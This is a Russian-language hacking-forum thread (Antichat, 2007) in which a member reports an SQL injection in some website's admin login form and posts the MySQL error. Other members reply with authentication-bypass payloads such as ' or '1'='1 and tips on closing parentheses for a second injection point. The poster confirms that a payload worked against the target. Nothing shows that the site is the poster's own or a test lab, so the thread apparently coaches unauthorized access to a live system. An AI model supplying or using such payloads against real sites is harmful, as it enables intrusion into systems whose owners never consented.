HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Вопрос по скуле!
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Вопрос по скуле!
  #1  
Старый 18.08.2007, 00:22
fly
Постоянный
Регистрация: 15.04.2007
Сообщений: 645
С нами: 10038327

Репутация: 251


Question Вопрос по скуле!
Нашел скулю в форме авторизации админа.
В форму ввожу login:admin pass:' , выдает :
Код:
SELECT AId FROM adm_admins WHERE ALogin='admin' AND APassword='''Ошибка выполнения запроса. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1. Выполнение прервано
Что посоветуете?
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 18.08.2007, 00:36
.Slip
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
С нами: 10692266

Репутация: 3486


По умолчанию
blablabla' or 1=1/*
?:\
__________________
..
Последний раз редактировалось [sL1p]; 18.08.2007 в 00:40..
 
Ответить с цитированием

  #3  
Старый 18.08.2007, 00:42
[53x]Shadow
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
С нами: 10153766

Репутация: 2565
По умолчанию
Цитата:
Сообщение от [sL1p]  
blablabla' or 1=1/*
?:\
blablabla' or '1'='1
мона вот так..
 
Ответить с цитированием

  #4  
Старый 18.08.2007, 00:57
fly
Постоянный
Регистрация: 15.04.2007
Сообщений: 645
С нами: 10038327

Репутация: 251


По умолчанию
Прошло вот так ' or '1'='1. Спасибо совсем забыл про or!
 
Ответить с цитированием

  #5  
Старый 18.08.2007, 01:02
[53x]Shadow
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
С нами: 10153766

Репутация: 2565
По умолчанию
Цитата:
Сообщение от fly  
Прошло вот так ' or '1'='1. Спасибо совсем забыл про or!
Просто не всегда ясно, что там за ковычкой, по-этому сразу отсекать ее не стоит =\
 
Ответить с цитированием

  #6  
Старый 18.08.2007, 01:10
fly
Постоянный
Регистрация: 15.04.2007
Сообщений: 645
С нами: 10038327

Репутация: 251


По умолчанию
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''))' at line 1
А вот в другом месте вот так, но уже выше что написано было не проходит.
 
Ответить с цитированием

  #7  
Старый 18.08.2007, 01:31
[53x]Shadow
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
С нами: 10153766

Репутация: 2565
По умолчанию
Цитата:
Сообщение от fly  
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''))' at line 1
А вот в другом месте вот так, но уже выше что написано было не проходит.
а в каком параметре или контексте?
скорее всего надо скобки еще просовывать закрывающие и открывающие(либо отсекать реальные закрывающие)..
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
ВОПРОС ЗНАТОКАМ Hrust Болталка 12 23.01.2005 19:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.